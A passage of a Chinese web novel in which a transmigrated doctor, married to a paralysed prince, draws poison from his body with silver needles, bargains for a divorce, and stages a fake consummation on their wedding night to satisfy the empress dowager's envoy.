转头朝着身后两人看过去:“你们先出去吧,对了,去给我找一套银针,要新的,再去拿几个盆过来,我等下要用。” 两人一脸蒙圈的退了出去,房间里只剩下沈听晚和君翊两人。 屋内骤然变得寂静无声,仿佛只能听见彼此的呼吸,君翊本欲闭上双眼不再理会这所谓的妻子。 “想站起来吗?我能帮你。” 淡淡的声音传入耳中,叫君翊的眼神顿住一瞬,半晌,一双桃花眼中闪过一丝讽刺。 他怎么会相信,一个小姑娘就能叫他和正常人一样呢。 可是沈听晚接下来的话,不禁让君翊神魂一震。 “你中毒了,知道吗?” 沈听晚坐在床边,脸上的表情淡定自若,她松开君翊的手腕,又去摸他的另外一只手的脉象。 “脉象显示,你虽然伤的很重,但这些伤不足以叫你变成这样,换句话来讲,这些伤,正好掩饰了你中毒的迹象。” 君翊躺在床上浑身无法动弹分好,带一双深邃的眸子却死死盯着眼前的姑娘,狭长冷厉的凤眸眼睑处微微泛着红。 “哎……”沈听晚轻叹一声:“如果我不来估计没人发现,你会在半年之内因为没有求生欲望而死,更不会有人知道,你的真正死因啊。” 沈听晚心里大为感慨,看来原书上的内容也不是全都可信的。 “眼下,或许只有我才能帮你了,殿下可愿意相信我一次吗? 你若是愿意,就眨眨眼睛叫我知道你的想法。” 男人目光紧紧盯着沈听晚,似乎想要从她的眼神当中看出点什么来,只可惜,沈听晚的眼神坦坦荡荡,没有半点算计人心的龌龊。 良久,那双深邃晦暗的凤眸缓缓的再次闭紧。 沈听晚眉头紧锁,就在她以为君翊是不相信自己时,那双眸竟然再次离奇般地睁开了。 沈听晚原本暗淡下去的眸子瞬间亮起,有些激动的抓住君翊的胳膊:“你愿意信我?” 这一次,君翊的视线却缓缓下移,目光定格在沈听晚那双搭在自己胳膊上的双手上。 第7章 不想刚嫁进来就守寡 沈听晚顺着君翊的视线移目看过去,发现自己的手正抓着人家不放,脸色有些不大自然。 “咳咳,不算占你便宜啊,咱俩现在都是夫妻了,这点亲密的举动你适应适应。” 君翊:“……”算起来他们应该是第一次见吧,这叫他怎么适应,嗯? 话虽然这样说着,沈听晚的手却老老实实的松开了君翊,随即起身:“我去看看他们准备的怎么样了,都准备齐全之后,我先给你解毒。” 大步朝着门口走去,打开房门准备透透气,不知道为什么,沈听晚总感觉自己心里怪怪的。 明明是大夫,和病人有什么肢体接触也是见怪不怪的事儿,可是今天…… 沈听晚蹙起眉头,低头看了看自己,估计她现在还没完全适应这副身体吧。 此时,不远处两道身影也朝着沈听晚的方向渐渐走来,两人手上一个拿着银针,一个端着木盆停在门口。 “王妃娘娘,这是您要的东西。” 沈听晚看了一眼,满眼的点点头:“嗯,都拿进去吧。” 在转身,眼中再次恢复平静,拿过暗祁手上的那套银针看了看。 “王妃娘娘,您这是要做什么?”暗祁忍不住问出心里的疑惑,听见这话,暗蒙的视线也悄悄朝着沈听晚的脸上看过去。 “哦,我要给殿下医治。” “什么?!” “不可!” 两人睁大惊讶的双眼,紧绷着一张脸齐齐拒绝道。 沈听晚:“这事儿我和殿下商量过,他同意了。” 此时,沈听晚的手上正捏着数枚银针,站在床边便开始毫不客气的命令道:“你们两个赶紧过来帮忙。” 两个侍卫脸上的神色难看得紧,不情愿的上前两步。 他们知道,殿下虽然躺在床上不能动弹,但也不是任人摆布之人,如果不是他同意的事情,王妃不可能这么有恃无恐。 一切都准备就绪,沈听晚手上捏着银针,一屁股坐在床边:“殿下,我可要开始了啊,等下你身体会有一种像是蚂蚁啃食的感觉,很疼,但都是正常现象,不用担心。” 君翊垂下眼去,这一年多来,他浑身没有一点知觉,怎么可能会疼呢…… 然而下一瞬,君翊的瞳孔猛然间缩紧,一种浑身各处骨髓传来的密密麻麻的剧痛,叫他震惊。 一年多了,他终于感受到了这种久违的痛。 他是有知觉的!他能感受得到! 激动的心情无法有人能理解,可是在抬眼看向沈听晚,君翊的眼神当中,终于在这一刻重新燃起了希望。 沈听晚不知道君翊此时的心情,而是继续出手如闪电般迅速,将数枚银针扎进君翊的头部穴位。 直到最后一针,沈听晚停下手上的动作,脸色严肃地看向两个侍卫开口:“你们两个过来帮我按住他,等下无论如何也不能让他起来,再拿个盆子放到殿下枕头边上。” 说罢,沈听晚手上的最后一根针也迅速落下,君翊突然间双眼瞪得老大,额头一瞬间沁出一层冷汗,眼角眉头开始浮现出痛苦难忍。 这一刻,君翊感觉自己仿佛像是一头要冲破封印的猛兽,开始向这副破破烂烂的身躯做着最后的斗争。 “噗!” 一口黑血混合着恶臭无比的白汤从君翊的口中吐出来,与此同时,君翊的身体也开始青筋暴起。 突然间,侍卫招架不住被君翊一脚踹出去两米,力气之大,两人同时一口鲜血从口中喷出。 沈听晚脸色一变:“快按住他!” 侍卫两人不敢再掉以轻心,立马从地上爬起来,冲到床边死死按住君翊,心里是又惊又喜。 他们殿下能动了! 两个护卫的眼睛里全是惊喜的光亮,眼睑处闪过一丝红润,看向沈听晚的眼神当中全是崇拜的目光。 然而,高兴还不过片刻,君翊的口中再一次喷出那黑黢黢掺杂着黏腻的白,暗祁脸上的激动僵住,下一瞬满眼不知所措:“王妃,殿下又吐血了!” “怎么回事,这一次吐的怎么这么多?” 听着两人的对话,沈听晚的小脸顿时变得冷了下来:“慌什么!你们殿下是中毒了,刚才给他施针,迫使把他体内的毒逼出来而已。” “什么?!”暗祁暗蒙一脸懵,他们殿下不是在战场上受了伤才会这样吗? 也没人告诉他们殿下是中毒了啊? “别愣着了!”沈听晚冷光扫到两人,随即冷冷开口:“想殿下活命,就听我的! 暗祁你继续把住殿下的腿,你去把这盆毒血端出去,再换一个空盆过来!” 沈听晚继续命令道,全然将这二人当成是自己的助理了,也并不觉得有什么不对。 两人虽然也是懵懵的,心里摸不着底,但还是听话照做。 直到半个时辰过去,君翊口中的污血才彻底吐光了,整个人也安静下来,再一次躺回床上。 “王妃娘娘,殿下……殿下的身子怎么又动不了了?” “他的身体本来就动不了,受伤严重,刚才给他施针才能叫他暂时可以活动,现在毒解毒差不多了,自然就会恢复原状。”沈听晚脸色带着倦色,淡淡解释道,然后移目看向旁边的污血,捏着银针挑出来一些放在鼻尖闻了闻。 见着沈听晚的举动,君翊深邃的眸微动了动,这小姑娘她竟然不嫌弃自己…… 说实话,君翊清醒过来之后,看着从自己口中吐出来的那一摊腥臭无比的东西,就连他自己都忍受不了。 “给你下毒的人够狠毒的啊!如果今天不给你解毒,你这条命都活不过俩月!”沈听晚转眼看过去,眼底带着一抹严肃。 床上脸色有些惨白但依旧不失英俊的男人微微喘着粗气,眼中迸发出一抹冰寒。 “好在你的命算是保住了。” 君翊移目看向沈听晚,他不能说话,只是眼神当中满是感谢之色。 沈听晚似乎也听懂了,嘴角微扬:“不必谢我,我也不想刚嫁给你就守寡。” 更何况,她和君翊之间的交易还没谈呢。 第8章 我医好你,你放我自由 君翊这棵大树可不是什么人都能抱的,若把人给治好了,即便做不了真夫妻,也能算得上是君翊的救命恩人。 到时候她想要什么,这家伙总不会不给的吧。 君翊的目光紧盯着沈听晚不放,眼神做出询问,他想问他什么时候能治好? 沈听晚又看懂了,自信而笃定的开口:“你现在可以尝试着开口说说话。” 此话一出,房间里除了沈听晚以外,都惊得瞪圆了眼睛。 两个侍卫不敢置信的看向沈听晚,随即转眼又直勾勾盯着床上的君翊,心里升起一抹怀疑。 要知道,自打君翊受伤昏迷之后,再睁眼就再也无法开口说话了。 太医曾经也来看过,说是伤及肺部所导致的。 暗祁暗蒙早就渐渐接受了这个残酷的事实,就连君翊也自知开口再无希望。 可现在,突然间冒出来个小姑娘跟他说,他可以开口讲话了! 君翊视线紧紧盯着沈听晚不放,此时似乎能够感觉到自己的心脏跳动的飞快。 沈听晚看出了君翊眼底流露出的那一抹不易察觉的忐忑,她淡淡笑笑:“别紧张,相信你自己可以的。” 沈听晚的话似乎给了君翊极大的信心,他深吸一口气,随即缓缓张开薄唇,直到…… “唔……” 略微有些微弱,带着一丝沉闷的声音从君翊的口中发出来,就连他自己也被惊了一跳。 这声音…… 是从他口中发出来的? 他真的可以说话了? “殿下!”侍卫两人咚的一声,直直跪在地上,满眼的热泪盈眶:“您……您真的可以说话了!” 他们都听得真真儿的,那声音就是从殿下口中发出来的! “没骗你吧?”沈听晚好看的双眸微微弯了弯,嘴角的笑意遮掩不住:“一年多没开过口,你现在需要慢慢适应一下,过个三五天,你就可以恢复和正常人一样的交流能力了。” 沈听晚的话更加叫暗祁暗蒙两人喜出望外,再看向她的眼神崇拜之色又添了几分。 君翊强压下心里的激动心情,再抬眼目光沉静地看向沈听晚,缓缓尝试着开口:“本王……何时能好?” 说话虽然有些断断续续,不过即便这样也让沈听晚为之惊讶,不愧是她选择的男人啊,这身体素质真不是一般的牛! 她嘴角扬:“毒已经解了,三个月时间,我让你恢复如初,要不要再信我一次啊?” 这下子,不止君翊被惊了一跳,就连站在不远处的暗祁暗蒙两人也纷纷露出震惊之色。 暗祁最耐不住性子,顾不得礼节大步上前,眼底流露出几分不确定的试探:“王妃娘娘,您……您真的能救好殿下?” 他承认王妃在解毒方面真的很厉害,但是……殿下最厉害的伤在脊柱。 在战场上他们见惯了将士受这样的伤,可从未听说过,有哪个还可以重新站起来的啊! “要不属下还是去请太医来一趟,听听太医怎么说?” 沈听晚勾了勾嘴角,用仅剩下的一点耐心开口:“殿下身中剧毒,你们觉得是太医无能真的看不出来什么,还是装作不知道?” 前者是不可能,后者就耐人寻味了。 “王妃,您的意思是……” 沈听晚没有理会暗祁,而是定定的看着床上的君翊,似乎再等着他的答案。 君翊紧盯着房顶,没有让沈听晚等太久,再看向她时,便给出了答案:“好……” 嗓音淡淡略带着些许沙哑。 沈听晚漂亮的眉眼微微弯了弯,脸上洋溢着的笑意:“好,相信我,我不会辜负你的信任!” “你们两个把这里清理一下,另外今天晚上发生的事,不许外传,更不能叫人知道你们殿下中毒的事,一切保持常态,懂吗?” 暗祁暗蒙两人呆愣愣的看向君翊,他们殿下这就信王妃了? 直到君翊的眼神当中传来命令的目光告诉两人,“从今往后,一切听王妃的命令”两人才回神,立马朝着沈听晚恭敬行礼。 “是,王妃娘娘!” 暗祁暗蒙以最快的速度收拾好房间里的杂物,清理掉君翊身上的污血,并且重新换了一件干净的里衣,担心沈听晚会嫌弃殿下,他们又端着水盆,把君翊从里到外全部擦拭一遍,这才悄悄退了出去。 房间里又只剩下沈听晚和君翊两人,屋内再一次恢复了平静。 沈听晚许是累了,坐在床边身体靠在一旁,微微闭上眼养着神。 屋内烛火发出滋啦滋啦的声响,君翊垂目看着那道疲惫的小身影,目光流转出一抹从未有过的情愫。 他喉节微微滚动,哑着嗓音开口:“你想要什么?” 沈听晚顿了顿,转头看过去便见君翊一双晦暗的眸子看着自己,微微挑了挑眉,心里感慨着眼前这男人好生聪明啊! “要自由。” 沈听晚也不拐弯抹角,直接如实开口:“三个月我治好殿下,殿下给我一封和离书。” 饶是君翊做足了准备,也没想到沈听晚一开口就是要同他和离,泛白的唇有些发青,语速缓慢的道:“为什么? 你,可是有心仪之人?” 君翊想着,沈听晚之所以提出这种请求,也只有这一个原因了吧。 然而,沈听晚却轻摇了摇头:“暂时还没有,不过以后说不准。” 君翊:“……”脸色有些发黑。 什么叫说不准?嫁给他了,还想着要喜欢别人? 沈听晚想了一下又道:“与你成婚是迫不得已,但我不喜欢这种被束缚的感觉,所以我治好殿下,殿下放我自由,很公平的。” 担心君翊会不同意,沈听晚又立马补充地开口:“殿下应该看过不少大夫了吧,我估计答案都是一样,现在能治好你的,只有我。” 君翊微眯着眼睛,目光在沈听晚的脸上巡视一番,正如她说的那样,如今,让他有希望好起来的,只有面前这个小姑娘。 而沈听晚提出的条件,对他来说也似乎很有诱惑力,只不过…… “哦,还有一个条件,想要三个月内痊愈,在这期间,一切都得听我的,殿下答应吗?” 第9章 君翊的试探 君翊深邃的眸子闪了闪,全然忽视沈听晚要和离的条件,淡淡开口:“你想怎么做?” “首先自然是要殿下全权配合我的治疗方案,要听话,还有就是得抓住给你下毒的人。” 这人一日不除,沈听晚始终放心不下,万一再给君翊下毒,她岂不是白治了。 听着沈听晚的话,君翊的目光沉沉的盯着坐在床边的小姑娘。 “所以在你恢复之前,我准备封锁这个院子,除了暗祁暗蒙和我,任何人不能单独见你,你同意吗?” 把范围缩至最小,一来是不想让人知道君翊现在的情况,二来也是可以杜绝给君翊下毒之人靠近。 至于暗祁暗蒙两人,是君翊身边最值得信任的,有他们在,沈听晚放心,而且很多时候,还得需要他们干些体力活呢。 听着沈听晚分析着当下的情形,君翊双眸沉静的看着她,良久:“好……” 见着君翊同意,沈听晚的心稍稍放下来不少,眼神当中流露出满意之色:“成交!” 很好。 她就喜欢这种无条件配合自己的病人。 “将军府大小姐,何时懂得这些了?”君翊抬眼看过去,盯着沈听晚的眼睛,又漫不经心地问道。 沈听晚神身子一僵,下意识攥紧双手。 君翊这是对她起疑心了? 沈听晚的心陡然间停滞一瞬,随即又面色如常地开口:“小时候因病被送去神医谷小住两年,廖神医见我是个学医的苗子就收我当弟子了,我在神医谷曾见过和殿下一样遭遇的病人,所以对殿下的情况,我还是挺有把握治好的。 殿下若是不信,可以派人去查,我人就在王府,骗你没有好处。” 沈听晚面上淡定自若,实际内心慌得一批,也无比庆幸,原主小时候有过这一段经历,不然怕是这个谎还真是瞒不过去。 不过这也叫沈听晚提高了警惕,眼前的这个男人疑心不是一般的重,今后和他相处,她得格外小心才行! “对了,还有一件事要……” “王妃娘娘!” 门外突然间传开暗祁焦急的声音,打断了沈听晚的话,她愣了一下:“什么事?” “皇宫里来人了,是太后娘娘身边的芳嬷嬷,说是有事要和您说。” 沈听晚目光一顿,脸色有些不大自然:“知道了,把人请到前厅去。” 转头看向君翊:“我先出去一趟。” 君翊微点了点头,示意她去。 沈听晚起身准备要走,刚走没两步,脚步一顿,转头又看向君翊:“等我回来。” 沈听晚又道:“我有事情要和你商量。”说罢才匆匆出了门。 出了院子,沈听晚便碰见一个满约摸着四十多岁年纪的嬷嬷,站在不远处,时不时往这边张望着。 嬷嬷见着被人发现,便立马转身,作势要走。 沈听晚眉头微蹙了蹙:“何人在那?” 嬷嬷脚步一顿,随即转过身,小跑着过来:“老奴是殿下的奶嬷嬷,贱姓曹,参见王妃娘娘。” 沈听晚抬眼上下打量着眼前老嬷嬷,随即勾唇淡淡开口:“原来是曹嬷嬷,这么晚不休息,还来看殿下吗?” “回王妃话,老奴听着殿下院子里有动静,担心殿下,所以过来看看。”曹嬷嬷将头埋得很深,恭敬的开口。 “哦,曹嬷嬷真是关心殿下啊。”沈听晚嘴角微挑,语气却颇为冷淡地道。 通过方才曹嬷嬷的鬼祟,和她们之间的对话来看,她,应该是冲着君翊来的。 见着沈听晚语气不善,曹嬷嬷硬着头皮开口:“王妃过奖了,殿下也算是老奴看着长大的,自然担心殿下安危。” “殿下睡下了,曹嬷嬷,你要进去看看吗?” 曹嬷嬷脸上的表情微怔,讪讪道:“殿下既休息了,老奴不敢打扰。 老奴这便告退了。” 说着,曹嬷嬷朝着沈听晚行了礼,便转身离去。 沈听晚看着曹嬷嬷离开的背影,眼底彻底变得冰凉,这曹嬷嬷看上去,很是可疑。 看来等下,她得好好问问君翊,这曹嬷嬷的身世才行。 收回视线,转身又朝着前厅走去。 然而,在沈听晚离开之后,曹嬷嬷从暗处走了出来。 她目光幽幽地看向沈听晚离开的方向,眼底闪过一丝阴毒之色。 …… 沈听晚走到前厅,见着里面的芳嬷嬷正坐着喝茶,脚步顿了一下。 芳嬷嬷听见声响,下意识回眸看过来,看见沈听晚,忙起身,脸上也洋溢出一抹笑来行礼:“老奴参见王妃娘娘。” “嬷嬷不必多礼。”沈听晚抬脚迈进门槛,礼貌而不是微笑的开口:“不知嬷嬷这个时候过来,可是太后娘娘有什么要紧事?” 芳嬷嬷嘴角咧出一抹笑:“老奴是奉太后娘娘懿旨来教王妃娘娘如何伺候王爷的。” “伺候王爷?” “是。”芳嬷嬷见四下无人,上前两步走到沈听晚的耳边小声开口:“今儿是您和王爷大喜的日子,但王爷情况特殊,太后娘娘担心您伺候不了王爷,所以叫老奴过来一趟帮帮您呢。” 听见这话,沈听晚的脸颊微微泛起一抹不自然的红,她就知道着事儿躲不过去,没成想,太后竟然还专门派了人来看着她。 “太后娘娘说了,您答应过太后要给王爷延嗣,还希望王妃莫要出尔反尔啊。 陛下和太后娘娘可都对王爷的子嗣格外看重。” 芳嬷嬷的意思,沈听晚自然是明白的,今儿就算是说破天去,这房也必须要圆的了呗。 沈听晚淡淡勾了勾唇,笑意不达眼底:“嬷嬷放心,我既然要嫁给王爷,便是真心实意喜欢王爷的。 今儿是我和殿下洞房之夜,新婚夫妻自然要做该做的事。” “哎呦,太后娘娘说的果然没错,王妃一看就识大体,是聪明的。”芳嬷嬷听到沈听晚准确的答复,顿时喜笑颜开,转身将宫女手上的东西拿过来递给沈听晚:“这是太后娘娘让老奴准备的合卺酒,宫里头徐太医亲自调配的,有了着酒啊,王妃娘娘保准事成!” 沈听晚眉心一蹙,只一闻便发现里面是加了可以男女欢好,为之动情的东西。 沈听晚低眉笑了笑,顺从的福了福身:“多谢太后娘娘赐酒。” 第10章 你从前那方面要多久? 方嬷嬷笑了笑,将托盘放下后,有从袖子里悄摸摸拿出几本册子送到沈听晚手中:“这男女房事也是大有讲究的,要通过眼神的波动,不经意间的触碰来传递夫妻间的情意,如鱼衔水,自然交融,王爷现在身子不大好,只能由王妃多辛苦着些,但要切记分寸,女子可以主动,但绝不能过于放荡,失了体统。 王妃娘娘若是有什么不懂的,可以看看这几本册子,都是京城最实兴的,百金难求。” “嬷嬷……有心了。”沈听晚抽了抽嘴角,小脸微红干笑了两声,随即应下:“臣妇明白,定不辜负太后娘娘的良苦用心。” “来人,给芳嬷嬷收拾出一间房,请嬷嬷下去休息。” 芳嬷嬷被请了下去,沈听晚则是一屁股坐在椅子上,仰着头生无可恋。 她就知道,该来的总是会来的。 抬手无意识翻了翻桌子上的两本小册子,男女情动交缠的画面映入眼中,不禁叫沈听晚脸颊上的红意又深了几分。 作为新世纪女性,而且还是一名医生的她,思想纵然开放,可让她好只见过算不上两面的男人,而且对方还不能动的做……她这心里还是过不了这一关啊! 时间一点点飞逝而去,沈听晚坐在前厅有小一刻钟的时间,突然,沈听晚将册子用力拍在桌案上,猛地起身:“干!” 心是大胆的,但是脚步却窝窝囊囊,沈听晚不知道自己花费了多长时间才从新回到君翊的房间。 推开房门,发现君翊果然还没睡,睁着眼看着房顶,老老实实的等着她回来。 君翊虽然躺在床上,耳力却惊于常人,在沈听晚推门走进来的一刹那,视线便移目看向了她。 沈听晚一愣,扯了扯嘴角,走上前去将手上的东西放下来,随即搓了搓拳头:“咳咳,还没休息呐?” 君翊目光盯着沈听晚,眼神闪过一丝疑惑,不是她让自己等着她回来的吗? “哦对,你是在等我哈。”沈听晚走到床边坐下,视线却不敢看床上的君翊,沉默许久,沈听晚才缓缓开口:“有件事你可能还不知道,其实……我原本应该是你的侄媳妇儿的,就是太子妃,只不过大婚上发生了点状况,所以才又嫁给了你。” 君翊静静地听着沈听晚开口叙述着,眼神当中少有波澜。 沈听晚一脸诧异:“你知道了?” 君翊嗓音低低的嗯了一声,刚才沈听晚出去的时候,暗祁进来过,将今天皇宫里发生的事儿和他简单说了些。 对于太子大婚之夜做的那些事儿,君翊也觉得简直是荒唐无比。 更是从心底发出对沈听晚的同情,一个小姑娘大婚之夜发生这样的事儿,而且还是亲自捉奸,不知道心里有多强大才强撑着处理好这些,转头又嫁给他的。 “你知道了也好,不过还有件事儿你可能还不清楚,就是……”沈听晚小脸微红,垂下眸去缓声开口:“就是太后同意让我转嫁给你,但条件是……让我给你延嗣。” 沈听晚的话音一落,君翊的一双桃花眼瞬间瞪大了几分,脑中仿佛炸出了一道惊雷。 沈听晚的话还不算完,她站在原地,蹙着眉头试探地问道:“那个……你从前这方面的时间久不久?” 如果太久的话,估计等下她会很累啊。 这话一出,君翊脸上的表情瞬间皲裂开来,更加有一种无地自容的感觉,苍白的唇紧紧抿成一条线,不做任何答复。 如果不是刚才沈听晚给他解了毒,他都怀疑这小姑娘是太后派来羞辱他的。 “我问你话呢,你怎么不开口? 你不说个准确的时间,等下没法进行啊!” 小姑娘丝毫不在乎他此时的惊愕,走上前一步继续追问道。 君翊的牙死死咬住,方才心里还对沈听晚产生的那一点心疼瞬间烟消云散。 这女人,哪里需要同情! 连这种虎狼之词都能说得出口! 转眼看着沈听晚那一副迫切渴望的眼神,君翊深吸一口气,咬着牙一字一顿地道:“不,知,道!” 他从小到大一直很洁身自好的好吧!他怎么知道那方面自己要多长时间啊! “不知道啊……”沈听晚蹙着眉,低声呢喃道:“那等下只能估算着点时间了。” 君翊:“……” “一刻钟够不够?” 君翊双唇紧闭,如果他现在身体可以动弹的话,一定把这女人的脑袋撬开来,看看里面都装着什么东西! 见着君翊满眼怒气瞪着自己,沈听晚不以为意,继续道:“不够吗,那就半个时辰,不能再多了!”再多的话她也受不住。 “沈听晚!” 君翊听着沈听晚口中继续不断输出的话,没忍住厉声喝道。 “殿下别激动,我也是想多了解一点殿下,你现在嗓子刚恢复,不能大声说话,当心声带受损。”沈听晚无辜地眨眼开口说道。 她说的是事实,只不过听在君翊的耳中,却气的他浑身血液逆流。 看着眼前小姑娘满脸人畜无害,他嘴角勾起一抹冷笑,眼中闪过一丝冷光幽幽的看着:“王妃若是想知道,不妨可以亲自试试。” 看看他这方面究竟需要多长时间! 见着沈听晚小脸僵住,君翊嘴角勾起一抹弧度,成功搬回来一局,心情舒畅啊。 “试试?”沈听晚抬眼打量着君翊:“你现在这个样子,想让我试,你也得能起来才行啊。” 君翊“!!”他怎么就起不来! “忘记和殿下说了,方才给你解毒的时候,发现你那里已经被毒侵染,毒虽然解了,但损伤也在所难免,所以你目前没办法做哪方面的事儿。” 君翊的眼睛瞬间瞪大几分,胸前的跌宕起伏足矣彰显他此时的怒气。 报复! 绝对是赤裸裸的报复! 君翊甚至都能看到沈听晚此时眼底的幸灾乐祸。 “殿下放心,我既然答应可以叫你痊愈自然说到做到。”她双手环抱住肩膀:“不过你现在,得配合配合我。” 第11章 叫本王怎么配合? 眼看着时间差不多,沈听晚忍不住催促道:“别墨迹了,门外还有人盯着呢,行不行一句痛快话,赶紧的!” 君翊的眼神默默的看向房顶,他还能说什么? 作为一个男人,最接受不了的就是被问自己行不行,更何况,那个人还是自己刚过门的媳妇儿。 片刻,君翊薄唇轻启:“你叫本王怎么配合?”算是彻底向这小姑娘妥协了。 他可太担心自己要是说拒绝的话,小姑娘嘴里又会有什么样的虎狼之词等着他呢! 见着君翊答应下来,沈听晚暗暗松了口气,嘴角微勾:“那你等着,我先去准备一下!” 说罢,便头也不回朝着隔壁浴房大步走去,脚步略带轻快。 沈听晚走远之后,君翊才在心里暗暗后悔,他暗叹了口气。 怎么就怎么草率的答应了这荒唐的提议了呢。 不知道等下,这小姑娘究竟要怎么让他配合什么? 想到这里,君翊脸庞上的红意渐渐延伸到耳后根。 半个时辰后,沈听晚才蹑手蹑脚的回到房间,此时她身上只穿着一件红色肚兜和亵裤,外面罩着一件新婚女子穿的红色长袍。 君翊卧在床上,一时思绪纷杂,还没来得及理清头绪,便被房间里的动静扰乱心神,打眼看过去,只一眼视线便被沈听晚此时的模样深深吸引而去。 “我好看吗?” 沈听晚突然没由来的一句话,君翊才回神发现,自己已经盯着人家看了许久。 确实是好看的。 君翊在睁眼第一次见沈听晚的时候就发现了,十六七岁的少女杏眼桃腮,弯弯的柳叶眉下,有着一双明媚干净的眼睛浅浅一笑酒窝在脸颊上若隐若现,煞是好看。 而这会儿,刚沐浴过后的沈听晚,更仿佛出水芙蓉,浓墨色的长发泻下背间,面颊飘上一片绯红,更为她添置了一丝妩媚。 沈听晚耳根泛红,有一次在一个男人面前穿的这么单薄,确实有点不大自在,强撑着镇定自若走到床边:“咳咳,那我们可要开始了啊。” 君翊:“……”他紧抿着唇,眼神移目看向走至床边的小姑娘。 下一瞬,沈听晚便一个跨步坐在床上,抬手不由分说地解开君翊的里衣,里衣敞开,露出八块腹肌性感的胸膛。 君翊的双眼顿时惊得老大,一时之间脑中一片空白,耳边更是嗡嗡作响。 惊愕地开口:“你要干什么?” 这姑娘家家的这么勇猛吗?上来就脱人家衣裳?! 沈听晚面无表情,语气骄横道:“这么惊讶做什么?做戏要做全套,不这样怎么叫外面的人相信我们?” 她心里有些郁闷,为了叫芳嬷嬷相信,她都穿成这样了,她都没觉得亏得慌呢,这家伙倒是开始矫情上了! 不过说实话……咳咳,君翊这家伙的身材确实不错,想到这里,沈听晚又忍不住悄悄朝着君翊撇了两眼。 君翊黑着脸幽幽瞪向沈听晚:“别看了,你口水要掉本王身上了!” 沈听晚怔楞一下,下意识抬手摸了摸嘴角,察觉到君翊是在诓她,小脸顿时一黑:“你骗我!” 君翊哼笑一声:“骗你做什么,本王是对自己的身材有自信而已。” 沈听晚:“……” 果然,还是哑巴皇叔更招人喜欢一点。 这家伙不开口则已,一说话简直堪比毒舌。 沈听晚决定不再看君翊一眼,她怕再看下去,真的会打出洋相。 太丢人了。 她堂堂现代人,竟然会被一个小纸片人戏弄成这样。 沈听晚黑着一张脸,跨在君翊结实的腰身上,随即俯下身去…… 君翊的脸色顿时僵住,面对面前沈听晚突然间的“投怀送抱”,一时之间仿佛耳边彻底安静了下来,一颗冷静自持的心此时仿佛不受控制地飞快跳动。 然而下一瞬,沈听晚一个抬手抓住君翊头顶上方的床柱,然后便见她用力开始摇晃起来。 床柱被沈听晚晃动的发出“咯吱咯吱”的声响,时不时从沈听晚嘴里发出女子娇嗔声。 “你在做什么?” 沈听晚没好气的干了个白眼:“晃床啊!你现在动不了只能我来动,不出点声,门外的耳朵怎么相信?” 君翊嘴角不受控制的抽了抽,所以,这就是沈听晚口中说的演戏? 刚才问他那些问题,竟是为了这一刻?! 床帘里,继续传来沈听晚娇柔的呢喃声,手上的力度不减,坐在结实的胸膛上用力晃动着床柱。 沈听晚身形微微晃动着,即便君翊此时浑身毫无知觉,可看着小姑娘在他身上放肆,眼神还是渐渐变得晦暗。 “你确定自己有这么大力气,可以让床晃动成这样?” 君翊嗓音略带沙哑,低沉而又性感的嗓音随时响起。 沈听晚动作一顿:“什么意思?” 君翊深吸一口气,看着沈听晚被打湿的发丝黏在纤细白皙的脖颈上,他默默移开视线,开口指导着:“慢一点,晃动的有规律一些,另外你叫的太假了,带点感情!” 房间里两人,一个卖力忙活,一个费心小声指导着,门外,方嬷嬷和两个婢女差点就把耳朵贴在门上了。 听着里面传开令人耳根泛红的暧昧声音,芳嬷嬷脸上洋溢着一抹姨母般地笑意。 看样子,这事儿算是成了,等明天一早,她就能带着东西回去顺利交差了。 窗外,被月色笼罩的树影斑驳,阵阵微风吹拂进来,床上渐渐升起一阵旖旎的气氛。 不知道过了多久,床上的男人不说话了,他垂眸扫视一眼沈听晚盈盈一握的纤细腰肢儿,不知不觉间,脑中竟然无意识的浮现出一些暧昧的画面。 君翊呼吸一停,下意识别开眼,也无比庆幸自己现在是个废物,不然恐怕就要吓到这小姑娘了。 而沈听晚也没好到哪里去,她不听晃动床柱的手,此刻变得酸痛无比,汗水从额头缓缓浸出,从白皙的脸颊缓缓划过,眼底尽是疲惫,娇嗔的抱怨道:“差不多了吧?” 快半个时辰了,再继续下去的话她可真要累死了。 第12章 你要睡这儿? 沈听晚虚靠在君翊的腰身上,声音又娇又软地抱怨着。 而此时,君翊却紧盯着沈听晚打湿的发丝,黏在纤细的脖颈间,一双湿漉漉的鹿眸泛着楚楚可怜的红意,目光深邃而又带着一丝不知名的情愫。 良久。 “够了。” 话音一落,沈听晚狠狠松了口气,缓和了一会儿后,一个快速从床上坐起身来,转眼又看向君翊:“可能有件事还得需要你配合一下。” 君翊一愣,眼中透着一抹疑惑之色。 下一瞬,便又见沈听晚俯身下来,抬起纤细的手来轻抚起君翊的脖颈处。 君翊皱起眉头,眼神当中投来询问之色。 “放心,你感受不到疼的,就是在你身上留点痕迹而已。”沈听晚勾了勾唇,凑近君翊的耳边,小声呢喃道。 一边说着,沈听晚的手指便快递提起君翊脖颈上的皮肤,随即用力一拧,不多时,君翊的脖颈处便呈现出一抹淡红色泛着些许青的紫痕。 君翊默默地抬眼看向房顶,真是想不到,她竟然还懂得这些…… 沈听晚手上的动作没有停下,连连续续在君翊的身上留下十多处紫痕,这才罢休,坐在床边,眉眼弯弯笑着欣赏自己方才的杰作。 “这下可以了。” 有了这些,再加上方才她将近小半个时辰的努力,外头的人应该会信了吧。 不过还有一个最关键的! 沈听晚转眼看向床边整整齐齐铺着的元帕,转了转眼珠子,不知道从哪里抽出一根银针,不由分说地便要朝着自己的手指扎去。 君翊的目光一凛:“等一下!” “怎么了?”沈听晚手下一顿,转眼疑惑的看向床上的男人。 君翊叹了口气,眼神看了看沈听晚手上的银针:“如果不想被拆穿,听本王的,扎破我的手取血,另外,你既然会医术,应该可以给自己施针,暂时不让他们发现你还是处子之身吧。” 沈听晚听见这话,神色显然一愣。 她竟然没想到这些…… 不得不说,君翊不光是个疑心重的,还是一个做事半点不叫人察觉错漏的家伙。 门外丫鬟婆子一直在外头静气凝神的候着,等待主子的召唤。 已经过去了许久,不免叫人担心起来 不知道过了多长时间,里头才传来沈听晚恹恹地声音:“去准备些热水来。” 王府里的丫鬟婆子立马开动,几人准备着热水,几人进门去服侍王妃。 沈听晚倒在床上如释重负的大口喘着气,缓和了许久,才任由着小丫鬟把自己从床上扶了起来。 芳嬷嬷此时也笑莹莹的不知道从什么地方吗冒出来,恭敬行礼:“恭喜王爷,恭喜王妃!” 沈听晚停下脚步,被人搀扶着站在原地,脸颊泛红嘴角淡笑:“嬷嬷想要的东西在那。” 她指了指桌上的一张方帕,上面明显能看见一抹刺眼的红,芳嬷嬷看了顿时喜笑颜开。 “王妃娘娘辛苦了。” 